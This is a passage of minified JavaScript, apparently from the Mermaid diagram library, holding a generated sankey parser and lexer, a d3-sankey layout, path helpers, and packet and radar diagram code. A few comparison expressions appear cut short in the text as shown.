R=k.yylloc;m.push(R);var I=k.options&&k.options.ranges;typeof A.yy.parseError=="function"?this.parseError=A.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function L(Y){f.length=f.length-2*Y,p.length=p.length-Y,m.length=m.length-Y}o(L,"popStack");function E(){var Y;return Y=d.pop()||k.lex()||S,typeof Y!="number"&&(Y instanceof Array&&(d=Y,Y=d.pop()),Y=h.symbols_[Y]||Y),Y}o(E,"lex");for(var D,_,O,M,P,B,F={},G,$,U,j;;){if(O=f[f.length-1],this.defaultActions[O]?M=this.defaultActions[O]:((D===null||typeof D>"u")&&(D=E()),M=g[O]&&g[O][D]),typeof M>"u"||!M.length||!M[0]){var te="";j=[];for(G in g[O])this.terminals_[G]&&G>T&&j.push("'"+this.terminals_[G]+"'");k.showPosition?te="Parse error on line "+(v+1)+`: +`+k.showPosition()+` +Expecting `+j.join(", ")+", got '"+(this.terminals_[D]||D)+"'":te="Parse error on line "+(v+1)+": Unexpected "+(D==S?"end of input":"'"+(this.terminals_[D]||D)+"'"),this.parseError(te,{text:k.match,token:this.terminals_[D]||D,line:k.yylineno,loc:R,expected:j})}if(M[0]instanceof Array&&M.length>1)throw new Error("Parse Error: multiple actions possible at state: "+O+", token: "+D);switch(M[0]){case 1:f.push(D),p.push(k.yytext),m.push(k.yylloc),f.push(M[1]),D=null,_?(D=_,_=null):(x=k.yyleng,y=k.yytext,v=k.yylineno,R=k.yylloc,b>0&&b--);break;case 2:if($=this.productions_[M[1]][1],F.$=p[p.length-$],F._$={first_line:m[m.length-($||1)].first_line,last_line:m[m.length-1].last_line,first_column:m[m.length-($||1)].first_column,last_column:m[m.length-1].last_column},I&&(F._$.range=[m[m.length-($||1)].range[0],m[m.length-1].range[1]]),B=this.performAction.apply(F,[y,x,v,A.yy,M[1],p,m].concat(w)),typeof B<"u")return B;$&&(f=f.slice(0,-1*$*2),p=p.slice(0,-1*$),m=m.slice(0,-1*$)),f.push(this.productions_[M[1]][0]),p.push(F.$),m.push(F._$),U=g[f[f.length-2]][f[f.length-1]],f.push(U);break;case 3:return!0}}return!0},"parse")},a=(function(){var l={EOF:1,parseError:o(function(h,f){if(this.yy.parser)this.yy.parser.parseError(h,f);else throw new Error(h)},"parseError"),setInput:o(function(u,h){return this.yy=h||this.yy||{},this._input=u,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var u=this._input[0];this.yytext+=u,this.yyleng++,this.offset++,this.match+=u,this.matched+=u;var h=u.match(/(?:\r\n?|\n).*/g);return h?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),u},"input"),unput:o(function(u){var h=u.length,f=u.split(/(?:\r\n?|\n)/g);this._input=u+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-h),this.offset-=h;var d=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),f.length-1&&(this.yylineno-=f.length-1);var p=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:f?(f.length===d.length?this.yylloc.first_column:0)+d[d.length-f.length].length-f[0].length:this.yylloc.first_column-h},this.options.ranges&&(this.yylloc.range=[p[0],p[0]+this.yyleng-h]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(u){this.unput(this.match.slice(u))},"less"),pastInput:o(function(){var u=this.matched.substr(0,this.matched.length-this.match.length);return(u.length>20?"...":"")+u.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var u=this.match;return u.length<20&&(u+=this._input.substr(0,20-u.length)),(u.substr(0,20)+(u.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var u=this.pastInput(),h=new Array(u.length+1).join("-");return u+this.upcomingInput()+` +`+h+"^"},"showPosition"),test_match:o(function(u,h){var f,d,p;if(this.options.backtrack_lexer&&(p={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(p.yylloc.range=this.yylloc.range.slice(0))),d=u[0].match(/(?:\r\n?|\n).*/g),d&&(this.yylineno+=d.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:d?d[d.length-1].length-d[d.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+u[0].length},this.yytext+=u[0],this.match+=u[0],this.matches=u,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(u[0].length),this.matched+=u[0],f=this.performAction.call(this,this.yy,this,h,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),f)return f;if(this._backtrack){for(var m in p)this[m]=p[m];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var u,h,f,d;this._more||(this.yytext="",this.match="");for(var p=this._currentRules(),m=0;mh[0].length)){if(h=f,d=m,this.options.backtrack_lexer){if(u=this.test_match(f,p[m]),u!==!1)return u;if(this._backtrack){h=!1;continue}else return!1}else if(!this.options.flex)break}return h?(u=this.test_match(h,p[d]),u!==!1?u:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var h=this.next();return h||this.lex()},"lex"),begin:o(function(h){this.conditionStack.push(h)},"begin"),popState:o(function(){var h=this.conditionStack.length-1;return h>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(h){return h=this.conditionStack.length-1-Math.abs(h||0),h>=0?this.conditionStack[h]:"INITIAL"},"topState"),pushState:o(function(h){this.begin(h)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(h,f,d,p){var m=p;switch(d){case 0:return this.pushState("csv"),4;break;case 1:return this.pushState("csv"),4;break;case 2:return 10;case 3:return 5;case 4:return 12;case 5:return this.pushState("escaped_text"),18;break;case 6:return 20;case 7:return this.popState("escaped_text"),18;break;case 8:return 19}},"anonymous"),rules:[/^(?:sankey-beta\b)/i,/^(?:sankey\b)/i,/^(?:$)/i,/^(?:((\u000D\u000A)|(\u000A)))/i,/^(?:(\u002C))/i,/^(?:(\u0022))/i,/^(?:([\u0020-\u0021\u0023-\u002B\u002D-\u007E])*)/i,/^(?:(\u0022)(?!(\u0022)))/i,/^(?:(([\u0020-\u0021\u0023-\u002B\u002D-\u007E])|(\u002C)|(\u000D)|(\u000A)|(\u0022)(\u0022))*)/i],conditions:{csv:{rules:[2,3,4,5,6,7,8],inclusive:!1},escaped_text:{rules:[7,8],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,7,8],inclusive:!0}}};return l})();i.lexer=a;function s(){this.yy={}}return o(s,"Parser"),s.prototype=i,i.Parser=s,new s})();j$.parser=j$;A4=j$});var kC,EC,wC,Ztt,K$,Jtt,Q$,ert,trt,rrt,nrt,mxe,gxe=N(()=>{"use strict";Xt();gr();ci();kC=[],EC=[],wC=new Map,Ztt=o(()=>{kC=[],EC=[],wC=new Map,Sr()},"clear"),K$=class{constructor(e,r,n=0){this.source=e;this.target=r;this.value=n}static{o(this,"SankeyLink")}},Jtt=o((t,e,r)=>{kC.push(new K$(t,e,r))},"addLink"),Q$=class{constructor(e){this.ID=e}static{o(this,"SankeyNode")}},ert=o(t=>{t=tt.sanitizeText(t,ge());let e=wC.get(t);return e===void 0&&(e=new Q$(t),wC.set(t,e),EC.push(e)),e},"findOrCreateNode"),trt=o(()=>EC,"getNodes"),rrt=o(()=>kC,"getLinks"),nrt=o(()=>({nodes:EC.map(t=>({id:t.ID})),links:kC.map(t=>({source:t.source.ID,target:t.target.ID,value:t.value}))}),"getGraph"),mxe={nodesMap:wC,getConfig:o(()=>ge().sankey,"getConfig"),getNodes:trt,getLinks:rrt,getGraph:nrt,addLink:Jtt,findOrCreateNode:ert,getAccTitle:Mr,setAccTitle:Rr,getAccDescription:Or,setAccDescription:Ir,getDiagramTitle:Pr,setDiagramTitle:$r,clear:Ztt}});function _4(t,e){let r;if(e===void 0)for(let n of t)n!=null&&(r=n)&&(r=n);else{let n=-1;for(let i of t)(i=e(i,++n,t))!=null&&(r=i)&&(r=i)}return r}var yxe=N(()=>{"use strict";o(_4,"max")});function dy(t,e){let r;if(e===void 0)for(let n of t)n!=null&&(r>n||r===void 0&&n>=n)&&(r=n);else{let n=-1;for(let i of t)(i=e(i,++n,t))!=null&&(r>i||r===void 0&&i>=i)&&(r=i)}return r}var vxe=N(()=>{"use strict";o(dy,"min")});function py(t,e){let r=0;if(e===void 0)for(let n of t)(n=+n)&&(r+=n);else{let n=-1;for(let i of t)(i=+e(i,++n,t))&&(r+=i)}return r}var xxe=N(()=>{"use strict";o(py,"sum")});var Z$=N(()=>{"use strict";yxe();vxe();xxe()});function irt(t){return t.target.depth}function J$(t){return t.depth}function ez(t,e){return e-1-t.height}function D4(t,e){return t.sourceLinks.length?t.depth:e-1}function tz(t){return t.targetLinks.length?t.depth:t.sourceLinks.length?dy(t.sourceLinks,irt)-1:0}var rz=N(()=>{"use strict";Z$();o(irt,"targetDepth");o(J$,"left");o(ez,"right");o(D4,"justify");o(tz,"center")});function my(t){return function(){return t}}var bxe=N(()=>{"use strict";o(my,"constant")});function Txe(t,e){return SC(t.source,e.source)||t.index-e.index}function wxe(t,e){return SC(t.target,e.target)||t.index-e.index}function SC(t,e){return t.y0-e.y0}function nz(t){return t.value}function art(t){return t.index}function srt(t){return t.nodes}function ort(t){return t.links}function kxe(t,e){let r=t.get(e);if(!r)throw new Error("missing: "+e);return r}function Exe({nodes:t}){for(let e of t){let r=e.y0,n=r;for(let i of e.sourceLinks)i.y0=r+i.width/2,r+=i.width;for(let i of e.targetLinks)i.y1=n+i.width/2,n+=i.width}}function CC(){let t=0,e=0,r=1,n=1,i=24,a=8,s,l=art,u=D4,h,f,d=srt,p=ort,m=6;function g(){let O={nodes:d.apply(null,arguments),links:p.apply(null,arguments)};return y(O),v(O),x(O),b(O),w(O),Exe(O),O}o(g,"sankey"),g.update=function(O){return Exe(O),O},g.nodeId=function(O){return arguments.length?(l=typeof O=="function"?O:my(O),g):l},g.nodeAlign=function(O){return arguments.length?(u=typeof O=="function"?O:my(O),g):u},g.nodeSort=function(O){return arguments.length?(h=O,g):h},g.nodeWidth=function(O){return arguments.length?(i=+O,g):i},g.nodePadding=function(O){return arguments.length?(a=s=+O,g):a},g.nodes=function(O){return arguments.length?(d=typeof O=="function"?O:my(O),g):d},g.links=function(O){return arguments.length?(p=typeof O=="function"?O:my(O),g):p},g.linkSort=function(O){return arguments.length?(f=O,g):f},g.size=function(O){return arguments.length?(t=e=0,r=+O[0],n=+O[1],g):[r-t,n-e]},g.extent=function(O){return arguments.length?(t=+O[0][0],r=+O[1][0],e=+O[0][1],n=+O[1][1],g):[[t,e],[r,n]]},g.iterations=function(O){return arguments.length?(m=+O,g):m};function y({nodes:O,links:M}){for(let[B,F]of O.entries())F.index=B,F.sourceLinks=[],F.targetLinks=[];let P=new Map(O.map((B,F)=>[l(B,F,O),B]));for(let[B,F]of M.entries()){F.index=B;let{source:G,target:$}=F;typeof G!="object"&&(G=F.source=kxe(P,G)),typeof $!="object"&&($=F.target=kxe(P,$)),G.sourceLinks.push(F),$.targetLinks.push(F)}if(f!=null)for(let{sourceLinks:B,targetLinks:F}of O)B.sort(f),F.sort(f)}o(y,"computeNodeLinks");function v({nodes:O}){for(let M of O)M.value=M.fixedValue===void 0?Math.max(py(M.sourceLinks,nz),py(M.targetLinks,nz)):M.fixedValue}o(v,"computeNodeValues");function x({nodes:O}){let M=O.length,P=new Set(O),B=new Set,F=0;for(;P.size;){for(let G of P){G.depth=F;for(let{target:$}of G.sourceLinks)B.add($)}if(++F>M)throw new Error("circular link");P=B,B=new Set}}o(x,"computeNodeDepths");function b({nodes:O}){let M=O.length,P=new Set(O),B=new Set,F=0;for(;P.size;){for(let G of P){G.height=F;for(let{source:$}of G.targetLinks)B.add($)}if(++F>M)throw new Error("circular link");P=B,B=new Set}}o(b,"computeNodeHeights");function T({nodes:O}){let M=_4(O,F=>F.depth)+1,P=(r-t-i)/(M-1),B=new Array(M);for(let F of O){let G=Math.max(0,Math.min(M-1,Math.floor(u.call(null,F,M))));F.layer=G,F.x0=t+G*P,F.x1=F.x0+i,B[G]?B[G].push(F):B[G]=[F]}if(h)for(let F of B)F.sort(h);return B}o(T,"computeNodeLayers");function S(O){let M=dy(O,P=>(n-e-(P.length-1)*s)/py(P,nz));for(let P of O){let B=e;for(let F of P){F.y0=B,F.y1=B+F.value*M,B=F.y1+s;for(let G of F.sourceLinks)G.width=G.value*M}B=(n-B+s)/(P.length+1);for(let F=0;FP.length)-1)),S(M);for(let P=0;P0))continue;let te=(U/j-$.y0)*M;$.y0+=te,$.y1+=te,L($)}h===void 0&&G.sort(SC),C(G,P)}}o(k,"relaxLeftToRight");function A(O,M,P){for(let B=O.length,F=B-2;F>=0;--F){let G=O[F];for(let $ of G){let U=0,j=0;for(let{target:Y,value:oe}of $.sourceLinks){let J=oe*(Y.layer-$.layer);U+=_($,Y)*J,j+=J}if(!(j>0))continue;let te=(U/j-$.y0)*M;$.y0+=te,$.y1+=te,L($)}h===void 0&&G.sort(SC),C(G,P)}}o(A,"relaxRightToLeft");function C(O,M){let P=O.length>>1,B=O[P];I(O,B.y0-s,P-1,M),R(O,B.y1+s,P+1,M),I(O,n,O.length-1,M),R(O,e,0,M)}o(C,"resolveCollisions");function R(O,M,P,B){for(;P1e-6&&(F.y0+=G,F.y1+=G),M=F.y1+s}}o(R,"resolveCollisionsTopToBottom");function I(O,M,P,B){for(;P>=0;--P){let F=O[P],G=(F.y1-M)*B;G>1e-6&&(F.y0-=G,F.y1-=G),M=F.y0-s}}o(I,"resolveCollisionsBottomToTop");function L({sourceLinks:O,targetLinks:M}){if(f===void 0){for(let{source:{sourceLinks:P}}of M)P.sort(wxe);for(let{target:{targetLinks:P}}of O)P.sort(Txe)}}o(L,"reorderNodeLinks");function E(O){if(f===void 0)for(let{sourceLinks:M,targetLinks:P}of O)M.sort(wxe),P.sort(Txe)}o(E,"reorderLinks");function D(O,M){let P=O.y0-(O.sourceLinks.length-1)*s/2;for(let{target:B,width:F}of O.sourceLinks){if(B===M)break;P+=F+s}for(let{source:B,width:F}of M.targetLinks){if(B===O)break;P-=F}return P}o(D,"targetTop");function _(O,M){let P=M.y0-(M.targetLinks.length-1)*s/2;for(let{source:B,width:F}of M.targetLinks){if(B===O)break;P+=F+s}for(let{target:B,width:F}of O.sourceLinks){if(B===M)break;P-=F}return P}return o(_,"sourceTop"),g}var Sxe=N(()=>{"use strict";Z$();rz();bxe();o(Txe,"ascendingSourceBreadth");o(wxe,"ascendingTargetBreadth");o(SC,"ascendingBreadth");o(nz,"value");o(art,"defaultId");o(srt,"defaultNodes");o(ort,"defaultLinks");o(kxe,"find");o(Exe,"computeLinkBreadths");o(CC,"Sankey")});function sz(){this._x0=this._y0=this._x1=this._y1=null,this._=""}function Cxe(){return new sz}var iz,az,f0,lrt,oz,Axe=N(()=>{"use strict";iz=Math.PI,az=2*iz,f0=1e-6,lrt=az-f0;o(sz,"Path");o(Cxe,"path");sz.prototype=Cxe.prototype={constructor:sz,moveTo:o(function(t,e){this._+="M"+(this._x0=this._x1=+t)+","+(this._y0=this._y1=+e)},"moveTo"),closePath:o(function(){this._x1!==null&&(this._x1=this._x0,this._y1=this._y0,this._+="Z")},"closePath"),lineTo:o(function(t,e){this._+="L"+(this._x1=+t)+","+(this._y1=+e)},"lineTo"),quadraticCurveTo:o(function(t,e,r,n){this._+="Q"+ +t+","+ +e+","+(this._x1=+r)+","+(this._y1=+n)},"quadraticCurveTo"),bezierCurveTo:o(function(t,e,r,n,i,a){this._+="C"+ +t+","+ +e+","+ +r+","+ +n+","+(this._x1=+i)+","+(this._y1=+a)},"bezierCurveTo"),arcTo:o(function(t,e,r,n,i){t=+t,e=+e,r=+r,n=+n,i=+i;var a=this._x1,s=this._y1,l=r-t,u=n-e,h=a-t,f=s-e,d=h*h+f*f;if(i<0)throw new Error("negative radius: "+i);if(this._x1===null)this._+="M"+(this._x1=t)+","+(this._y1=e);else if(d>f0)if(!(Math.abs(f*l-u*h)>f0)||!i)this._+="L"+(this._x1=t)+","+(this._y1=e);else{var p=r-a,m=n-s,g=l*l+u*u,y=p*p+m*m,v=Math.sqrt(g),x=Math.sqrt(d),b=i*Math.tan((iz-Math.acos((g+d-y)/(2*v*x)))/2),T=b/x,S=b/v;Math.abs(T-1)>f0&&(this._+="L"+(t+T*h)+","+(e+T*f)),this._+="A"+i+","+i+",0,0,"+ +(f*p>h*m)+","+(this._x1=t+S*l)+","+(this._y1=e+S*u)}},"arcTo"),arc:o(function(t,e,r,n,i,a){t=+t,e=+e,r=+r,a=!!a;var s=r*Math.cos(n),l=r*Math.sin(n),u=t+s,h=e+l,f=1^a,d=a?n-i:i-n;if(r<0)throw new Error("negative radius: "+r);this._x1===null?this._+="M"+u+","+h:(Math.abs(this._x1-u)>f0||Math.abs(this._y1-h)>f0)&&(this._+="L"+u+","+h),r&&(d<0&&(d=d%az+az),d>lrt?this._+="A"+r+","+r+",0,1,"+f+","+(t-s)+","+(e-l)+"A"+r+","+r+",0,1,"+f+","+(this._x1=u)+","+(this._y1=h):d>f0&&(this._+="A"+r+","+r+",0,"+ +(d>=iz)+","+f+","+(this._x1=t+r*Math.cos(i))+","+(this._y1=e+r*Math.sin(i))))},"arc"),rect:o(function(t,e,r,n){this._+="M"+(this._x0=this._x1=+t)+","+(this._y0=this._y1=+e)+"h"+ +r+"v"+ +n+"h"+-r+"Z"},"rect"),toString:o(function(){return this._},"toString")};oz=Cxe});var _xe=N(()=>{"use strict";Axe()});function AC(t){return o(function(){return t},"constant")}var Dxe=N(()=>{"use strict";o(AC,"default")});function Lxe(t){return t[0]}function Rxe(t){return t[1]}var Nxe=N(()=>{"use strict";o(Lxe,"x");o(Rxe,"y")});var Mxe,Ixe=N(()=>{"use strict";Mxe=Array.prototype.slice});function crt(t){return t.source}function urt(t){return t.target}function hrt(t){var e=crt,r=urt,n=Lxe,i=Rxe,a=null;function s(){var l,u=Mxe.call(arguments),h=e.apply(this,u),f=r.apply(this,u);if(a||(a=l=oz()),t(a,+n.apply(this,(u[0]=h,u)),+i.apply(this,u),+n.apply(this,(u[0]=f,u)),+i.apply(this,u)),l)return a=null,l+""||null}return o(s,"link"),s.source=function(l){return arguments.length?(e=l,s):e},s.target=function(l){return arguments.length?(r=l,s):r},s.x=function(l){return arguments.length?(n=typeof l=="function"?l:AC(+l),s):n},s.y=function(l){return arguments.length?(i=typeof l=="function"?l:AC(+l),s):i},s.context=function(l){return arguments.length?(a=l??null,s):a},s}function frt(t,e,r,n,i){t.moveTo(e,r),t.bezierCurveTo(e=(e+n)/2,r,e,i,n,i)}function lz(){return hrt(frt)}var Oxe=N(()=>{"use strict";_xe();Ixe();Dxe();Nxe();o(crt,"linkSource");o(urt,"linkTarget");o(hrt,"link");o(frt,"curveHorizontal");o(lz,"linkHorizontal")});var Pxe=N(()=>{"use strict";Oxe()});function drt(t){return[t.source.x1,t.y0]}function prt(t){return[t.target.x0,t.y1]}function _C(){return lz().source(drt).target(prt)}var Bxe=N(()=>{"use strict";Pxe();o(drt,"horizontalSource");o(prt,"horizontalTarget");o(_C,"default")});var Fxe=N(()=>{"use strict";Sxe();rz();Bxe()});var L4,$xe=N(()=>{"use strict";L4=class t{static{o(this,"Uid")}static{this.count=0}static next(e){return new t(e+ ++t.count)}constructor(e){this.id=e,this.href=`#${e}`}toString(){return"url("+this.href+")"}}});var mrt,grt,zxe,Gxe=N(()=>{"use strict";Xt();yr();Fxe();Ei();$xe();mrt={left:J$,right:ez,center:tz,justify:D4},grt=o(function(t,e,r,n){let{securityLevel:i,sankey:a}=ge(),s=G3.sankey,l;i==="sandbox"&&(l=qe("#i"+e));let u=i==="sandbox"?qe(l.nodes()[0].contentDocument.body):qe("body"),h=i==="sandbox"?u.select(`[id="${e}"]`):qe(`[id="${e}"]`),f=a?.width??s.width,d=a?.height??s.width,p=a?.useMaxWidth??s.useMaxWidth,m=a?.nodeAlignment??s.nodeAlignment,g=a?.prefix??s.prefix,y=a?.suffix??s.suffix,v=a?.showValues??s.showValues,x=n.db.getGraph(),b=mrt[m];CC().nodeId(I=>I.id).nodeWidth(10).nodePadding(10+(v?15:0)).nodeAlign(b).extent([[0,0],[f,d]])(x);let w=no(YD);h.append("g").attr("class","nodes").selectAll(".node").data(x.nodes).join("g").attr("class","node").attr("id",I=>(I.uid=L4.next("node-")).id).attr("transform",function(I){return"translate("+I.x0+","+I.y0+")"}).attr("x",I=>I.x0).attr("y",I=>I.y0).append("rect").attr("height",I=>I.y1-I.y0).attr("width",I=>I.x1-I.x0).attr("fill",I=>w(I.id));let k=o(({id:I,value:L})=>v?`${I} +${g}${Math.round(L*100)/100}${y}`:I,"getText");h.append("g").attr("class","node-labels").attr("font-size",14).selectAll("text").data(x.nodes).join("text").attr("x",I=>I.x0(I.y1+I.y0)/2).attr("dy",`${v?"0":"0.35"}em`).attr("text-anchor",I=>I.x0(L.uid=L4.next("linearGradient-")).id).attr("gradientUnits","userSpaceOnUse").attr("x1",L=>L.source.x1).attr("x2",L=>L.target.x0);I.append("stop").attr("offset","0%").attr("stop-color",L=>w(L.source.id)),I.append("stop").attr("offset","100%").attr("stop-color",L=>w(L.target.id))}let R;switch(C){case"gradient":R=o(I=>I.uid,"coloring");break;case"source":R=o(I=>w(I.source.id),"coloring");break;case"target":R=o(I=>w(I.target.id),"coloring");break;default:R=C}A.append("path").attr("d",_C()).attr("stroke",R).attr("stroke-width",I=>Math.max(1,I.width)),ic(void 0,h,0,p)},"draw"),zxe={draw:grt}});var Vxe,Uxe=N(()=>{"use strict";Vxe=o(t=>t.replaceAll(/^[^\S\n\r]+|[^\S\n\r]+$/g,"").replaceAll(/([\n\r])+/g,` +`).trim(),"prepareTextForParsing")});var yrt,Hxe,qxe=N(()=>{"use strict";yrt=o(t=>`.label { + font-family: ${t.fontFamily}; + }`,"getStyles"),Hxe=yrt});var Wxe={};dr(Wxe,{diagram:()=>xrt});var vrt,xrt,Yxe=N(()=>{"use strict";pxe();gxe();Gxe();Uxe();qxe();vrt=A4.parse.bind(A4);A4.parse=t=>vrt(Vxe(t));xrt={styles:Hxe,parser:A4,db:mxe,renderer:zxe}});var krt,gy,cz=N(()=>{"use strict";qn();La();tr();ci();krt=ur.packet,gy=class{constructor(){this.packet=[];this.setAccTitle=Rr;this.getAccTitle=Mr;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.getAccDescription=Or;this.setAccDescription=Ir}static{o(this,"PacketDB")}getConfig(){let e=Vn({...krt,...Qt().packet});return e.showBits&&(e.paddingY+=10),e}getPacket(){return this.packet}pushWord(e){e.length>0&&this.packet.push(e)}clear(){Sr(),this.packet=[]}}});var Ert,Srt,Crt,uz,Kxe=N(()=>{"use strict";Uf();pt();r0();cz();Ert=1e4,Srt=o((t,e)=>{nl(t,e);let r=-1,n=[],i=1,{bitsPerRow:a}=e.getConfig();for(let{start:s,end:l,bits:u,label:h}of t.blocks){if(s!==void 0&&l!==void 0&&l{if(t.start===void 0)throw new Error("start should have been set during first phase");if(t.end===void 0)throw new Error("end should have been set during first phase");if(t.start>t.end)throw new Error(`Block start ${t.start} is greater than block end ${t.end}.`);if(t.end+1<=e*r)return[t,void 0];let n=e*r-1,i=e*r;return[{start:t.start,end:n,label:t.label,bits:n-t.start},{start:i,end:t.end,label:t.label,bits:t.end-i}]},"getNextFittingBlock"),uz={parser:{yy:void 0},parse:o(async t=>{let e=await bs("packet",t),r=uz.parser?.yy;if(!(r instanceof gy))throw new Error("parser.parser?.yy was not a PacketDB. This is due to a bug within Mermaid, please report this issue at https://github.com/mermaid-js/mermaid/issues.");X.debug(e),Srt(e,r)},"parse")}});var Art,_rt,Qxe,Zxe=N(()=>{"use strict";tu();Ei();Art=o((t,e,r,n)=>{let i=n.db,a=i.getConfig(),{rowHeight:s,paddingY:l,bitWidth:u,bitsPerRow:h}=a,f=i.getPacket(),d=i.getDiagramTitle(),p=s+l,m=p*(f.length+1)-(d?0:s),g=u*h+2,y=aa(e);y.attr("viewbox",`0 0 ${g} ${m}`),mn(y,m,g,a.useMaxWidth);for(let[v,x]of f.entries())_rt(y,x,v,a);y.append("text").text(d).attr("x",g/2).attr("y",m-p/2).attr("dominant-baseline","middle").attr("text-anchor","middle").attr("class","packetTitle")},"draw"),_rt=o((t,e,r,{rowHeight:n,paddingX:i,paddingY:a,bitWidth:s,bitsPerRow:l,showBits:u})=>{let h=t.append("g"),f=r*(n+a)+a;for(let d of e){let p=d.start%l*s+1,m=(d.end-d.start+1)*s-i;if(h.append("rect").attr("x",p).attr("y",f).attr("width",m).attr("height",n).attr("class","packetBlock"),h.append("text").attr("x",p+m/2).attr("y",f+n/2).attr("class","packetLabel").attr("dominant-baseline","middle").attr("text-anchor","middle").text(d.label),!u)continue;let g=d.end===d.start,y=f-2;h.append("text").attr("x",p+(g?m/2:0)).attr("y",y).attr("class","packetByte start").attr("dominant-baseline","auto").attr("text-anchor",g?"middle":"start").text(d.start),g||h.append("text").attr("x",p+m).attr("y",y).attr("class","packetByte end").attr("dominant-baseline","auto").attr("text-anchor","end").text(d.end)}},"drawWord"),Qxe={draw:Art}});var Drt,Jxe,ebe=N(()=>{"use strict";tr();Drt={byteFontSize:"10px",startByteColor:"black",endByteColor:"black",labelColor:"black",labelFontSize:"12px",titleColor:"black",titleFontSize:"14px",blockStrokeColor:"black",blockStrokeWidth:"1",blockFillColor:"#efefef"},Jxe=o(({packet:t}={})=>{let e=Vn(Drt,t);return` + .packetByte { + font-size: ${e.byteFontSize}; + } + .packetByte.start { + fill: ${e.startByteColor}; + } + .packetByte.end { + fill: ${e.endByteColor}; + } + .packetLabel { + fill: ${e.labelColor}; + font-size: ${e.labelFontSize}; + } + .packetTitle { + fill: ${e.titleColor}; + font-size: ${e.titleFontSize}; + } + .packetBlock { + stroke: ${e.blockStrokeColor}; + stroke-width: ${e.blockStrokeWidth}; + fill: ${e.blockFillColor}; + } + `},"styles")});var tbe={};dr(tbe,{diagram:()=>Lrt});var Lrt,rbe=N(()=>{"use strict";cz();Kxe();Zxe();ebe();Lrt={parser:uz,get db(){return new gy},renderer:Qxe,styles:Jxe}});var yy,abe,d0,Mrt,Irt,sbe,Ort,Prt,Brt,Frt,$rt,zrt,Grt,p0,hz=N(()=>{"use strict";qn();La();tr();ci();yy={showLegend:!0,ticks:5,max:null,min:0,graticule:"circle"},abe={axes:[],curves:[],options:yy},d0=structuredClone(abe),Mrt=ur.radar,Irt=o(()=>Vn({...Mrt,...Qt().radar}),"getConfig"),sbe=o(()=>d0.axes,"getAxes"),Ort=o(()=>d0.curves,"getCurves"),Prt=o(()=>d0.options,"getOptions"),Brt=o(t=>{d0.axes=t.map(e=>({name:e.name,label:e.label??e.name}))},"setAxes"),Frt=o(t=>{d0.curves=t.map(e=>({name:e.name,label:e.label??e.name,entries:$rt(e.entries)}))},"setCurves"),$rt=o(t=>{if(t[0].axis==null)return t.map(r=>r.value);let e=sbe();if(e.length===0)throw new Error("Axes must be populated before curves for reference entries");return e.map(r=>{let n=t.find(i=>i.axis?.$refText===r.name);if(n===void 0)throw new Error("Missing entry for axis "+r.label);return n.value})},"computeCurveEntries"),zrt=o(t=>{let e=t.reduce((r,n)=>(r[n.name]=n,r),{});d0.options={showLegend:e.showLegend?.value??yy.showLegend,ticks:e.ticks?.value??yy.ticks,max:e.max?.value??yy.max,min:e.min?.value??yy.min,graticule:e.graticule?.value??yy.graticule}},"setOptions"),Grt=o(()=>{Sr(),d0=structuredClone(abe)},"clear"),p0={getAxes:sbe,getCurves:Ort,getOptions:Prt,setAxes:Brt,setCurves:Frt,setOptions:zrt,getConfig:Irt,clear:Grt,setAccTitle:Rr,getAccTitle:Mr,setDiagramTitle:$r,getDiagramTitle:Pr,getAccDescription:Or,setAccDescription:Ir}});var Vrt,obe,lbe=N(()=>{"use strict";Uf();pt();r0();hz();Vrt=o(t=>{nl(t,p0);let{axes:e,curves:r,options:n}=t;p0.setAxes(e),p0.setCurves(r),p0.setOptions(n)},"populate"),obe={parse:o(async t=>{let e=await bs("radar",t);X.debug(e),Vrt(e)},"parse")}});function Yrt(t,e,r,n,i,a,s){let l=e.length,u=Math.min(s.width,s.height)/2;r.forEach((h,f)=>{if(h.entries.length!==l)return;let d=h.entries.map((p,m)=>{let 